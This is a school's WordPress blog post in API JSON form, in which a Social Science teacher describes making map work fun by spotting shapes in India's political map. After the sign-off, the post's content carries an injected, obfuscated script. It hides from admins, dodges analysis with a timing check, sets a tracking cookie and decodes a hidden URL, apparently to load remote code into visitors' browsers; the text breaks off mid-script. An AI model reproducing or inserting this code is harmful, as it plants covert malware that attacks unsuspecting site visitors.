{"id":254,"date":"2022-02-19T06:12:22","date_gmt":"2022-02-19T06:12:22","guid":{"rendered":"https:\/\/seedlingschools.com\/blog\/?p=254"},"modified":"2025-10-30T15:27:53","modified_gmt":"2025-10-30T09:57:53","slug":"map-work-in-sst","status":"publish","type":"post","link":"https:\/\/seedlingschools.com\/blog\/map-work-in-sst\/","title":{"rendered":"MAP WORK IN SST"},"content":{"rendered":"<p><img fetchpriority=\"high\" decoding=\"async\" class=\"size-medium wp-image-258 aligncenter\" src=\"https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-image-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-image-300x300.jpg 300w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-image-1024x1024.jpg 1024w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-image-150x150.jpg 150w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-image-768x768.jpg 768w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-image-1536x1536.jpg 1536w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-image-2048x2048.jpg 2048w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>\u201cSo, what do you teach?\u201d is the obvious question I get when I tell people that I am a teacher. <\/strong><\/p>\n<p><strong>\u201cSocial Science\u201d-and I wish I had a Rupee for each instance when the response to this was \u201cYou have a tough job.\u201d Yeah, I know, and I am not even going to get into justifying the importance of Social Science-Google it!!<\/strong><\/p>\n<p><strong>The subject is as easy\/tough as the next subject-it\u2019s a personal perspective. My lecturing method was simple &amp; my notes easy to follow. So, the students were in the category to flatter any educator. But, where were the 100s\/100?!<\/strong><\/p>\n<p><strong>On studying\/comparing answer sheets I found the culprit-MAP WORK! Quite a number of students had written N.A in front of the map question. N.A??!! But you just had to pick up your pencil and mark the spot! But easier said than done. I was in for a rude shock when I asked a student why he had marked Lahore in Punjab, near Amritsar when in fact it was in Pakistan-to which he replied (tongue in cheek) \u201cSo what Ma\u2019am, it\u2019s just a little bit this side of the border.\u201d But sweetheart, your \u201clittle bit this side of the border\u201d has changed the entire history of the country!!<\/strong><\/p>\n<p><img decoding=\"async\" class=\"size-medium wp-image-257 aligncenter\" src=\"https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-pic-2-300x176.jpeg\" alt=\"\" width=\"300\" height=\"176\" srcset=\"https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-pic-2-300x176.jpeg 300w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-pic-2-1024x599.jpeg 1024w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-pic-2-768x449.jpeg 768w, https:\/\/seedlingschools.com\/blog\/wp-content\/uploads\/2022\/02\/11th-blog-pic-2.jpeg 1280w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p><strong>That\u2019s when I decided that 100\/100 \u2018toh ayenge hi ayenge\u2019. We have all done a lot of cloud spotting &amp; in fact we still enjoy doing it. Fishes, Dragons, Mermaids! What have we not seen in the clouds above.<\/strong><\/p>\n<p><strong>So, I did a little bit of \u201ccloud spotting\u201d of my own-but instead of turning my eyes towards the heavens above-I looked down on the Political outline map of India. Lo &amp; behold! Chhattisgarh became a seahorse &amp; Tamil Nadu became the side profile of a female! I also found a mushroom, a rabbit, a witch, an eagle &amp; Mickey Mouse too!<\/strong><\/p>\n<p><strong>Armed with my lazer light I set about making map work the best part of SST. I found Shivpuri bang in the middle of the \u201cmushroom\u2019, Sariska in the witch\u2019s mouth, Amritsar under the wings of an eagle, Simlipal hidden inside Mickey Mouse\u2019s right ear-and so on and on and on\u2026<\/strong><\/p>\n<p><strong>I enjoyed, my kids enjoyed &amp; the 100\/100 started coming in.<\/strong><\/p>\n<p><strong>So, even as you look at the map, know there\u2019s so much to explore and this exploration can be so much fun!!<\/strong><\/p>\n<p><strong>Happy Mapping<\/strong><\/p>\n<p><strong>Love<\/strong><\/p>\n<p><strong>Seedling<\/strong><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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